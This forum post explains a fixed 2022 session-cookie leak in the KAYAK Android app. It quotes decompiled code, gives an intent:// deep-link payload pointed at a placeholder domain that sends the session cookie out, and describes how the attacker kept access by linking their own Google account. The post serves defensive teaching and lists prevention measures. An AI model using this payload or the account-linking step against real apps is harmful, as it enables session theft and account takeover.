KAYAK Android Session Cookie Leak Explained

x32x01
  • by x32x01 ||
A vulnerability in KAYAK Android v161.1 allowed an attacker to abuse an exported Activity and a malicious deep link to cause the app to send its session cookie to an attacker-controlled URL.
The issue was discovered in 2022 during security research and could lead to account takeover. KAYAK fixed the vulnerability in version 161.2.

How the KAYAK Android Vulnerability Worked​

The root problem was an exported Android Activity that accepted external Intents and used a user-controlled redirect URL without properly validating it.
The vulnerable Activity was:
com.kayak.android.web.ExternalAuthLoginActivity
The AndroidManifest.xml declared it with android="true" and a BROWSABLE deep-link configuration:
XML:
<activity android:name="com.kayak.android.web.ExternalAuthLoginActivity" android:exported="true" android:launchMode="singleTask">
<intent-filter>
<data android:scheme="kayak"/>
<data android:host="externalAuthentication"/>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
</intent-filter>
</activity>
Because the Activity was exported, other applications could interact with it. The BROWSABLE category also allowed it to be reached through deep links.



The Dangerous Redirect URL​

During reverse engineering, two important methods showed why the exported Activity was dangerous.
First, the application obtained the redirect URL directly from the incoming Intent:
Java:
private final String getRedirectUrl() {
String stringExtra = getIntent().getStringExtra(EXTRA_REDIRECT_URL);
return stringExtra == null ? "" : stringExtra;
}
There was no visible validation restricting the value to a trusted KAYAK domain.

The second method used that URL to open a Chrome Custom Tab:
Java:
private final void launchCustomTabs() {
Uri.Builder buildUpon = Uri.parse(getRedirectUrl()).buildUpon();
buildUpon.appendQueryParameter(
SESSION_QUERY_PARAM,
l.getInstance().getSessionId()
);
i.openCustomTab(this, b10, buildUpon.build(), null);
}
This created the critical security issue.
The application was not simply opening the supplied URL. It was also appending the user's session identifier to that URL.
🔴 A URL controlled by an external caller was combined with a sensitive authentication value.



How the Session Cookie Was Retrieved​

The session identifier came from the application's cookie storage:
Java:
public final String getSessionId() {
return getCookieValueInternal(SESSION_COOKIE_NAME);
}
The relevant cookie name was:
p1.med.sid

So the flow was essentially:
  1. An attacker supplies a redirect URL through an external Intent.
  2. ExternalAuthLoginActivity accepts the URL.
  3. The application retrieves the user's session cookie.
  4. The session value is appended as a GET parameter.
  5. The application opens the resulting URL in a Custom Tab.
  6. The destination server can receive the sensitive value.
This is a classic example of sensitive authentication data being sent to an attacker-controlled destination.



Deep Link Attack Path​

The researcher demonstrated that the Activity could be invoked using an Android intent:// deep link.
For defensive research, the structure can be represented with a non-operational example domain:
HTML:
<a href="intent://externalAuthentication#Intent;scheme=kayak;package=com.kayak.android;component=com.kayak.android.web.ExternalAuthLoginActivity;action=android.intent.action.VIEW;S.ExternalAuthLoginActivity.EXTRA_REDIRECT_URL=https://example.invalid/callback;end">
Open KAYAK link
</a>
The important part is not the example domain. It is the ability to control EXTRA_REDIRECT_URL while targeting the exported Activity.
In the original research, the destination was controlled by the researcher, allowing the resulting request to be observed on the researcher's server.



Why the Attack Could Lead to Account Takeover​

Stealing the session cookie was already serious, but the research showed an additional problem.
After using the stolen session to access the web application, the researcher could view the victim's information. Some account modifications were initially restricted, but the application allowed an external authentication provider to be linked to the account.
The researcher linked a Google account controlled by the attacker to the victim's account.
That meant the attacker could later authenticate through the linked Google account and regain access to the victim's KAYAK account, even after the original session was no longer useful.
⚠️ The important security lesson is that account takeover does not always require directly changing the victim's password.
A stolen session combined with a weak account-linking flow can provide another path to persistent access.



Vulnerability Chain​

The complete attack chain can be simplified as:
Exported Activity
→
Attacker-controlled Deep Link
→
Unvalidated Redirect URL
→
Session Cookie Added to URL
→
Cookie Disclosure
→
Authenticated Web Session
→
Account Linking
→
Potential Account Takeover
This combination is what made the issue significantly more serious than a simple deep-link handling bug.



What Went Wrong?​

Several security design problems were connected together.

1. Sensitive Activity Was Exported​

ExternalAuthLoginActivity was accessible from outside the application.
Exporting an Activity is not automatically a vulnerability, but an exported component must treat every incoming Intent as untrusted input.

2. The Redirect URL Was Not Properly Restricted​

The Activity accepted EXTRA_REDIRECT_URL directly from the incoming Intent.
A secure implementation should allow only explicitly trusted destinations.

3. A Session Secret Was Added to a URL​

The session identifier was appended as a query parameter.
Authentication secrets should not be placed in URLs because URLs can be exposed through browser history, logs, analytics systems, referrers, monitoring tools, and other infrastructure.

4. Account Linking Increased the Impact​

The stolen session could be combined with an account-linking feature, creating a path toward persistent access.
This demonstrates why security testing should follow an exploit chain instead of stopping after finding the first leaked credential.



How Developers Can Prevent This Class of Vulnerability​

Android applications that expose Activities through deep links should treat all incoming Intent data as untrusted.
Recommended protections include:
  • Validate every external redirect URL.
  • Allow redirects only to an explicit allowlist of trusted domains.
  • Avoid putting session cookies, access tokens, or other authentication secrets in URLs.
  • Keep Activities private unless external access is actually required.
  • Use Android App Links with domain verification where appropriate.
  • Validate Intent extras before using them in security-sensitive operations.
  • Review authentication-provider linking flows for session fixation and account-linking abuse.
  • Invalidate sensitive sessions after suspicious authentication changes when appropriate.
  • Test exported Activities with both malicious apps and crafted deep links.
A safer design is to keep sensitive authentication state inside the application and pass only an authorization result or short-lived, narrowly scoped token between trusted components.



Why This Bug Is a Good Android Security Case Study​

This vulnerability is useful for learning because no single line of code explains the entire impact.
The dangerous behavior came from combining several individually understandable features:
  • Android exported Activities
  • Deep links
  • Intent extras
  • Redirect URLs
  • Chrome Custom Tabs
  • Session cookies
  • External authentication
  • Account linking
🔎 The key lesson for Android security testing is to follow sensitive data across trust boundaries.
An Activity may look harmless when inspected by itself. The real vulnerability appears when untrusted input controls where sensitive authentication information is sent.



KAYAK Vulnerability Timeline​

The vulnerability was reported to KAYAK on August 12, 2022, with a reported CVSS score of 9.3 and classified by the researcher as critical. KAYAK remediated the issue on August 13, 2022, and version 161.2 became available on the Google Play Store.



Key Takeaways​

The KAYAK case demonstrates an important Android security principle:
Never trust external Intent data simply because it arrives through an application-defined deep link.
An exported component should assume that its caller may be malicious. Redirect destinations must be validated, and authentication secrets should never be attached to attacker-controlled URLs.
The vulnerability also shows why account security needs to be evaluated as a complete chain. A leaked session may become much more dangerous when combined with authentication or account-linking functionality.
[ I ]The original research was published by Fluid Attacks in November 2022.[/I]



Frequently Asked Questions​

------------------

What was the KAYAK Android vulnerability?​

It was a vulnerability in KAYAK v161.1 involving an exported ExternalAuthLoginActivity that accepted an externally supplied redirect URL and appended the user's session identifier before opening that URL.

What Android component was vulnerable?​

The vulnerable component was com.kayak.android.web.ExternalAuthLoginActivity, which was declared with android="true" and exposed through a deep-link Intent filter.

What session cookie was exposed?​

The research identified the session cookie as p1.med.sid.

Which KAYAK version fixed the issue?​

The vulnerability was reported on August 12, 2022, and KAYAK v161.2 was available on the Play Store after the issue was remediated on August 13, 2022.

What is the main lesson for Android developers?​

Treat data received through exported Activities and deep links as untrusted. Validate redirect destinations and never place sensitive session credentials in URLs.
 
Similar threads
x32x01
Replies
0
Views
6
x32x01
x32x01
x32x01
Replies
0
Views
223
x32x01
x32x01
x32x01
Replies
0
Views
185
x32x01
x32x01
x32x01
Replies
0
Views
95
x32x01
x32x01
x32x01
Replies
0
Views
98
x32x01
x32x01
Forum Statistics
Threads
1,086
Messages
1,092
Members
16
Latest Member
b_a_s_m_a_l_a7
Back
Top